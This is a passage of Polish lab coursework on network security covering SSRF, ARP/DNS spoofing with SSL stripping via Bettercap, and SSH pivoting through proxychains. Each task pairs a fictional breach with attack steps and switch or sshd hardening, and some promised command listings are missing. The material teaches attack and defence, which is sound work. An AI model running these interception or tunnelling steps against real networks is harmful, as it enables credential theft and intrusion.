Próba wywołania ataku SSRF po wdrożeniu ochrony kończy się natychmiastowym zablokowaniem połączenia:

1. Mechanizm powstawania podatności SSRF: zmuszenie serwera aplikacji do wykonywania nieautoryzowanych żądań HTTP/TCP w imieniu napastnika.
2. Zagrożenia wynikające z SSRF w środowiskach chmurowych (AWS, Azure, GCP): odpytywanie wewnętrznej usługi metadanych (Metadata Service – IMDSv1 169.254.169.254) i kradzież tokenów IAM.
3. Skanowanie wewnętrznej infrastruktury korporacyjnej (port scanning localhost i podsieci prywatnych) za pośrednictwem podatnego serwera w strefie DMZ.
4. Obejścia naiwnych czarnych list adresów (Bypassing Blacklists): alternatywne reprezentacje IP (Hex, Octal, Dword), przekierowania DNS (DNS Rebinding) oraz translacja IPv6.
5. Mitygacja: rygorystyczne białe listy dozwolonych domen (Allowlists), wyłączenie obsługi niebezpiecznych schematów URL (file://, gopher://, dict://).
6. Wdrożenie protokołu IMDSv2 wymagającego tokenów sesyjnych oraz izolacja sieciowa mikrousług za pomocą polis egress firewall.

Przykładowe wnioski (wzór do sprawozdania): W toku audytu modułu generowania podglądu stron internetowych zidentyfikowano podatność Server-Side Request Forgery (SSRF), która pozwalała na wysyłanie spreparowanych żądań HTTP do wewnętrznych zasobów firmy niedostępnych z sieci publicznej. Wykazano, że próba zablokowania adresu 127.0.0.1 za pomocą prostej czarnej listy była całkowicie nieskuteczna wobec technik zaciemniania adresacji IP (zapis dziesiętny Dword oraz domeny przekierowujące DNS Rebinding). W środowisku chmurowym luka ta umożliwiła pobranie tymczasowych poświadczeń ról IAM z usługi metadanych instancji (IMDSv1), co w warunkach rzeczywistych doprowadziłoby do całkowitego przejęcia infrastruktury w chmurze. Mitygacja problemu wymagała wdrożenia protokołu IMDSv2 ze sztywnym tokenem sesyjnym oraz zastosowania rygorystycznej białej listy wyłącznie zaufanych domen zewnętrznych na poziomie walidatora URL. Odcięcie ruchu wychodzącego z serwera aplikacji do prywatnych podsieci LAN za pomocą zapory sieciowej ostatecznie uniemożliwiło wykorzystanie serwera jako skanera wewnętrznej sieci korporacyjnej.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon4 Bezpieczeństwo protokołów komunikacyjnych i sieci komputerowych. Ataki na warstwę łącza danych.

Celem zadania jest zbadanie podatności warstwy łącza danych (Data Link Layer - Layer 2) na ataki podsłuchu i modyfikacji ruchu w sieci lokalnej (Man-in-the-Middle - MitM) oraz zaprojektowanie i wdrożenie sprzętowych mechanizmów obronnych na przełącznikach sieciowych. Studenci badają mechanizm zatruwania tablic adresów MAC (ARP Cache Poisoning / ARP Spoofing), fałszowania odpowiedzi serwerów nazw (DNS Spoofing) oraz technikę degradacji bezpiecznych połączeń HTTPS do nieszyfrowanego HTTP (SSL/TLS Stripping) przy użyciu narzędzia Bettercap.

W części defensywnej zadanie koncentruje się na konfiguracji zaawansowanych mechanizmów bezpieczeństwa przełączników (Switch Security Features): funkcji DHCP Snooping budującej zaufaną bazę powiązań (DHCP Binding Database), mechanizmu Dynamic ARP Inspection (DAI) odrzucającego sfałszowane pakiety ARP oraz ochrony przed fałszywymi serwerami nazw. Studenci uczą się weryfikować szczelność ochrony za pomocą analizatora Wireshark.

W oddziale regionalnym banku komercyjnego w Radomiu funkcjonuje sieć przewodowa łącząca stacje robocze doradców klienta, bankomaty oraz drukarki sieciowe. Przełączniki zarządzalne pracowały z ustawieniami domyślnymi bez aktywnych mechanizmów ochrony warstwy 2. Pracownik firmy sprzątającej, będący w zmowie z grupą cyberprzestępczą, podłączył do wolnego gniazdka sieciowego w sali obsługi miniaturowy mikrokomputer Raspberry Pi z zainstalowanym systemem Kali Linux.

Urządzenie natychmiast rozpoczęło rozsyłanie fałszywych pakietów ARP Reply (atak ARP Poisoning), informując wszystkie komputery w oddziale, że adres IP domyślnej bramy sieciowej (routera bankowego) znajduje się pod adresem MAC urządzenia napastnika. W efekcie cały ruch wychodzący ze stacji bankowych do centrali zaczął przepływać przez Raspberry Pi.

Napastnicy uruchomili narzędzie Bettercap z modułem sslstrip i dns.spoof. Podczas próby logowania doradców do wewnętrznych systemów bankowych ruch był potajemnie analizowany, a sfałszowane odpowiedzi DNS przekierowywały zapytania do podrobionych paneli logowania. Przestępcy uzyskali dostęp do dziesiątek poświadczeń pracowników i danych finansowych klientów, zanim administratorzy centrali zorientowali się o anomaliach w ruchu sieciowym.

Wydział Bezpieczeństwa Teleinformatycznego banku zlecił audytorom (grupie laboratoryjnej) odtworzenie całego scenariusza ataku w odizolowanym laboratorium, udokumentowanie podatności protokołu ARP oraz wdrożenie twardych mechanizmów obronnych na przełącznikach sieciowych (RouterOS / Cisco).

Zadaniem studentów jest zaimplementowanie ochrony DHCP Snooping, Dynamic ARP Inspection (DAI) oraz Port Security, a następnie udowodnienie, że po wdrożeniu tych mechanizmów atak ARP Spoofing zostaje natychmiast wykryty i zablokowany na poziomie portu przełącznika.

• Kali Linux z narzędziami bettercap, arpspoof, dsniff, driftnet
• MikroTik RouterOS v7.x / Cisco Catalyst w środowisku GNS3 lub laboratorium fizycznym
• Analizator ruchu sieciowego Wireshark / tcpdump
• Stacja ofiary (Windows / Linux) do demonstracji zatrucia tablicy ARP (arp -a)
• Narzędzie arping do testowania komunikacji warstwy 2

1. Zbadanie tablicy ARP na stacji ofiary przed rozpoczęciem ataku (polecenie arp -a w Windows / ip neigh w Linux).
2. Uruchomienie nasłuchiwania w programie Wireshark z filtrem arp na stacji ofiary.
3. Uruchomienie narzędzia Bettercap w środowisku Kali Linux na interfejsie sieci lokalnej.
4. Rozpoczęcie ataku ARP Spoofing: włączenie modułu arp.spoof z kierowaniem na adres IP ofiary i bramy domyślnej.
5. Zaobserwowanie zatrucia pamięci podręcznej ARP: adres MAC bramy na stacji ofiary został podmieniony na adres MAC atakującego.
6. Weryfikacja przejęcia roli pośrednika (Man-in-the-Middle): potwierdzenie przekazywania pakietów (IP Forwarding).
7. Uruchomienie modułu dns.spoof w Bettercap i przekierowanie zapytania o domenę intranet.bank.pl na fałszywy serwer WWW.
8. Demonstracja techniki SSL Stripping: wymuszenie przejścia z protokołu HTTPS na HTTP i przechwycenie danych formularza logowania.
9. Analiza zrzutu pPCAP w Wiresharku: wykrycie anomalii Duplicate IP address detected for ... oraz gwałtownego wzrostu pakietów ARP Reply.
10. Rozpoczęcie konfiguracji obronnej: włączenie funkcji DHCP Snooping na mostku/przełączniku sieciowym.
11. Oznaczenie portu podłączonego do legalnego serwera DHCP/routera jako zaufanego (Trusted Port).
12. Wdrożenie mechanizmu Dynamic ARP Inspection (DAI) weryfikującego zgodność pakietów ARP z bazą DHCP Snooping Binding Table.
13. Konfiguracja mechanizmu Port Security z ograniczeniem do 2 adresów MAC na porcie i akcją violation=shutdown.
14. Próba ponownego uruchomienia ataku ARP Spoofing z poziomu maszyny Bettercap po wdrożeniu zabezpieczeń.
15. Zarejestrowanie blokady portu przełącznika i odrzucenia sfałszowanych pakietów ARP przez przełącznik.
16. Opracowanie procedury wdrożenia statycznych wpisów ARP dla kluczowych serwerów i bramy.
17. Sformułowanie wniosków w sprawozdaniu laboratoryjnym z analizą ramek ethernetowych przed i po zabezpieczeniu.

Protokół ARP (Address Resolution Protocol) jest protokołem całkowicie bezstanowym i pozbawionym jakiegokolwiek uwierzytelnienia. Komputer akceptuje pakiety ARP Reply nawet wtedy, gdy sam wcześniej nie wysyłał zapytania ARP Request (tzw. Gratuitous ARP). Umożliwia to każdemu urządzeniu w podsieci podszycie się pod dowolny adres IP. Jedyną skuteczną obroną jest sprzętowa weryfikacja pakietów ARP na poziomie przełącznika (Dynamic ARP Inspection).

Poniżej przedstawiono przykładowe polecenia uruchomienia ataku ARP i DNS Spoofing w konsoli interaktywnej Bettercap:

Widok zatrutej tablicy ARP na stacji roboczej ofiary (Windows 11):

Konfiguracja mechanizmu Dynamic ARP Inspection i DHCP Snooping na przełączniku RouterOS / Linux bridge:

1. Mechanizmy zatruwania tablic ARP (ARP Poisoning / ARP Spoofing) wynikające z bezstanowości i braku uwierzytelniania w protokole ARP (RFC 826).
2. Techniki fałszowania odpowiedzi DNS w sieci lokalnej (DNS Spoofing) i przekierowywanie ofiary na serwery phishingowe.
3. Działanie narzędzi MitM (bettercap, ettercap) oraz mechanizmu SSL Stripping (usuwanie szyfrowania HTTPS w locie).
4. Wdrożenie sprzętowych mechanizmów obronnych na przełącznikach zarządzalnych: DHCP Snooping (baza powiązań adresów IP/MAC/Port) oraz Dynamic ARP Inspection (DAI).
5. Rola protokołu HSTS z mechanizmem Preloading oraz szyfrowania zapytań DNS (DoH / DoT) w uniemożliwieniu ataków degradacji szyfrowania.
6. Weryfikacja integralności tablic ARP za pomocą darmowych narzędzi monitorujących (arpwatch) i powiadomień o anomaliach MAC.

Przykładowe wnioski (wzór do sprawozdania): Symulacja ataku ARP Poisoning w sieci lokalnej unaoczniła skrajną podatność protokołu ARP na bezkrytyczne przyjmowanie fałszywych pakietów odpowiedzi (Gratuitous ARP), co umożliwiło błyskawiczne przekierowanie całego ruchu ofiary przez stację audytora. Wykorzystanie techniki SSL Stripping w połączeniu z fałszowaniem zapytań DNS zobrazowało łatwość przechwytywania danych logowania w serwisach, które nie wymuszają rygorystycznej polityki HSTS. Zaimplementowanie funkcji DHCP Snooping na przełącznikach zarządzalnych stworzyło zaufaną bazę powiązań adresów IP z fizycznymi portami, stanowiąc fundament dla ochrony sieci LAN. Włączenie mechanizmu Dynamic ARP Inspection (DAI) doprowadziło do natychmiastowego zrzucania nieautoryzowanych pakietów ARP, całkowicie neutralizując próbę zatrucia pamięci podręcznej stacji roboczych. Przeprowadzone ćwiczenie udowodniło, że bezpieczeństwo kryptograficzne wyższych warstw modelu OSI może zostać skutecznie skompromitowane, jeżeli administrator zaniedba elementarne mechanizmy ochronne na poziomie warstwy łącza danych.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon4 Bezpieczeństwo protokołów komunikacyjnych i sieci komputerowych. Architektura strefowa i pivoting.

Celem zadania jest zbadanie zaawansowanej techniki przeskoku sieciowego (Pivoting / Lateral Movement) w infrastrukturze wielostrefowej, w której atakujący wykorzystuje przejęty serwer w strefie DMZ jako punkt pośredniczący do penetracji odizolowanych podsieci wewnętrznych (np. strefy baz danych, sieci produkcyjnej OT). Studenci poznają zasady zestawiania tuneli kryptograficznych SSH (Dynamic Port Forwarding, Local Port Forwarding, Remote/Reverse Port Forwarding) oraz konfiguracji proxy SOCKS4/SOCKS5 w połączeniu z narzędziem Proxychains.

W ramach laboratorium studenci przeprowadzają symulację ataku wieloetapowego: skanowanie odizolowanej sieci przez tunel SSH, identyfikację podatności wewnątrz strefy chronionej oraz wyznaczenie formalnego wektora podatności i oceny ryzyka zgodnie z kalkulatorem CVSS v3.1/v4.0. W części obronnej wdrażają reguły zapory sieciowej, segmentację jądra oraz utwardzanie konfiguracji SSH (wyłączenie tunelowania, AllowTcpForwarding no).

W firmie farmaceutycznej BioMed Polska Sp. z o.o. zastosowano architekturę trójstrefową: 1) Strefa publiczna DMZ (serwer portalu pacjenta), 2) Strefa aplikacji (serwery biznesowe), 3) Odizolowana strefa baz danych i receptur leków (Data Vault). Zgodnie z założeniami projektantów, strefa baz danych nie posiadała bezpośredniego połączenia z Internetem, a dostęp do niej był dozwolony wyłącznie z wybranych hostów pośredniczących w DMZ.

W wyniku ataku na aplikację webową (luka RCE w starym systemie CMS) napastnicy uzyskali dostęp do powłoki o niskich uprawnieniach na serwerze webowym w strefie DMZ. Choć serwer baz danych znajdował się w innej, prywatnej podsieci (10.50.0.0/24), serwer DMZ posiadał dwie karty sieciowe (dual-homed) i mógł komunikować się z bazą danych na porcie 5432.

Napastnicy wykorzystali wbudowanego klienta SSH na serwerze DMZ, zestawiając odwrotny tunel SSH (Reverse Dynamic SOCKS Proxy) do swojego zewnętrznego serwera C2. Umożliwiło to zespołowi atakującemu przekierowanie całego ruchu swoich narzędzi audytorskich (Nmap, Metasploit, psql) bezpośrednio z systemu Kali Linux do wnętrza 'odizolowanej' strefy bazodanowej, całkowicie omijając brzegową zaporę sieciową.

W rezultacie doszło do eksfiltracji receptur leków eksperymentalnych. Audyt powłamaniowy wykazał, że administratorzy zlekceważyli kwestię bezpieczeństwa komunikacji międzystrefowej i pozostawili domyślną konfigurację demona SSH na serwerze DMZ (aktywne przekazywanie portów TCP).

Zespół laboratoryjny wciela się w rolę audytorów. Zadaniem grupy jest odtworzenie architektury wielostrefowej, przeprowadzenie przeskoku sieciowego z użyciem tunelowania SSH i proxychains, skalkulowanie ryzyka CVSS dla podatności umożliwiającej pivot, a następnie wdrożenie twardych reguł zapory i utwardzenie demona SSH (blokada tunelowania TCP).

• Środowisko wielostrefowe: Kali Linux (napastnik), Linux DMZ (brama/pivot), Linux Internal (baza danych)
• Klient i serwer OpenSSH z obsługą tunelowania (opcje -D, -L, -R)
• Narzędzie Proxychains-ng do tunelowania ruchu dowolnych aplikacji przez proxy SOCKS5
• Nmap i narzędzia bazodanowe (psql / mysql-client) do testów przez tunel
• Kalkulator CVSS v3.1 / v4.0 (First.org) do formalnej oceny podatności

1. Zaprojektowanie i uruchomienie wirtualnej topologii trójstrefowej: Sieć Zewnętrzna -> Strefa DMZ -> Strefa Bazy Danych.
2. Weryfikacja braku bezpośredniego połączenia IP pomiędzy stacją audytora (Kali) a serwerem bazy danych.
3. Uzyskanie dostępu do powłoki serwera w strefie DMZ (host pośredniczący pivot).
4. Zbadanie konfiguracji interfejsów sieciowych serwera DMZ (polecenie ip addr, ip route) i wykrycie podsieci wewnętrznej 10.50.0.0/24.
5. Zestawienie dynamicznego tunelu SSH SOCKS5 z poziomu stacji audytora: ssh -D 1080 -N -f user@dmz-host.
6. Alternatywne zestawienie odwrotnego tunelu SSH (Reverse SOCKS) z poziomu serwera DMZ na wypadek blokady połączeń przychodzących.
7. Skonfigurowanie pliku /etc/proxychains4.conf (ustawienie socks5 127.0.0.1 1080).
8. Przeprowadzenie skanowania portów serwera baz danych przez tunel proxychains: proxychains nmap -sT -Pn -p 22,80,5432 10.50.0.5.
9. Nawiązanie połączenia z bazą danych PostgreSQL przez tunel: proxychains psql -h 10.50.0.5 -U postgres.
10. Weryfikacja poprawności tunelowania zapytań DNS (opcja proxy_dns w proxychains uniemożliwiająca wycieki zapytań DNS).
11. Przeprowadzenie formalnej kalkulacji ryzyka według standardu CVSS v3.1 dla wektora ataku z przeskokiem sieciowym.
12. Uzasadnienie wartości metryk CVSS: Attack Vector: Network, Attack Complexity: Low, Privileges Required: None, Scope: Changed (S:C).
13. Rozpoczęcie procedury obronnej: rekonfiguracja pliku /etc/ssh/sshd_config na serwerze DMZ (AllowTcpForwarding no, AllowAgentForwarding no).
14. Wdrożenie restrykcyjnych reguł iptables/nftables na serwerze DMZ blokujących inicjowanie jakichkolwiek nowych połączeń do strefy baz danych.
15. Konfiguracja mikrosegmentacji sieciowej na routerze międzystrefowym (inspekcja stanowa Stateful Firewall).
16. Próba ponownego zestawienia tunelu SSH i weryfikacja odmowy przekazania portu przez demona sshd.
17. Opracowanie sprawozdania z diagramem przepływu pakietów w tunelu SSH oraz formalną matrycą CVSS.

Przeskok sieciowy (Pivoting) jest jedną z najgroźniejszych technik stosowanych przez zaawansowane grupy APT (Advanced Persistent Threats). Pozwala ominąć zapory brzegowe i spenetrować najgłębsze warstwy sieci korporacyjnej. Aby skutecznie zablokować pivoting przez SSH na serwerach w strefie DMZ, należy w pliku /etc/ssh/sshd_config bezwzględnie ustawić `AllowTcpForwarding no` oraz `GatewayPorts no`.

Poniżej przedstawiono przykładowe polecenia zestawiania dynamicznego tunelu SSH SOCKS5 oraz konfiguracji proxychains:

Skanowanie odizolowanego serwera bazy danych (10.50.0.5) za pomocą Nmap przez tunel proxychains:

Utwardzenie konfiguracji serwera SSH w strefie DMZ całkowicie uniemożliwiające tunelowanie ruchu TCP:

1. Koncepcja przeskoku sieciowego (Pivoting / Lateral Movement) jako zaawansowanej techniki testowania penetracyjnego w środowiskach wielostrefowych.
2. Implementacja lokalnego i zdalnego przekierowania portów SSH (Local and Remote Port Forwarding: opcje -L, -R).
3. Uruchomienie dynamicznego serwera proxy SOCKS za pomocą opcji SSH -D oraz integracja z narzędziem proxychains w systemie Linux.
4. Mapowanie i eksploracja izolowanych podsieci za pośrednictwem skompromitowanego hosta bastionowego (Jump Host / Dual-homed system).
5. Wykorzystanie tuneli VPN na żądanie (np. sshuttle, Chisel) w celu tunelowania pełnego ruchu TCP/UDP przez zapory ogniowe.
6. Mechanizmy detekcji i obrony: restrykcyjna konfiguracja sshd (AllowTcpForwarding no), inspekcja ruchu na zaporach sieciowych oraz monitorowanie nietypowych połączeń egress.

Przykładowe wnioski (wzór do sprawozdania): Praktyczna realizacja przeskoku sieciowego (Pivoting) za pomocą tunelowania dynamicznego SSH (-D) zobrazowała, jak pojedyncza skompromitowana stacja robocza posiadająca dwa interfejsy sieciowe może posłużyć intruzowi jako brama do całkowicie odizolowanych segmentów firmy. Zastosowanie narzędzia proxychains pozwoliło na bezproblemowe skierowanie ruchu skanerów sieciowych i narzędzi audytorskich przez tunel SOCKS wprost do chronionej podsieci bazodanowej. Wykazano, że tradycyjne zapory sieciowe filtrujące wyłącznie adresy IP okazują się bezsilne wobec hermetyzacji nieautoryzowanego ruchu wewnątrz w pełni legalnego, szyfrowanego połączenia SSH na porcie 22. Wdrożenie restrykcyjnej polityki na serwerach bastionowych poprzez wyłączenie dyrektyw 'AllowTcpForwarding' oraz 'GatewayPorts' skutecznie zablokowało możliwość tworzenia nieautoryzowanych mostów sieciowych. Ćwiczenie to potwierdza kluczowe założenie architektury Zero Trust, w myśl którego przełamanie perymetru zewnętrznego nie może automatycznie gwarantować zaufania w komunikacji z wewnętrznymi zasobami organizacji.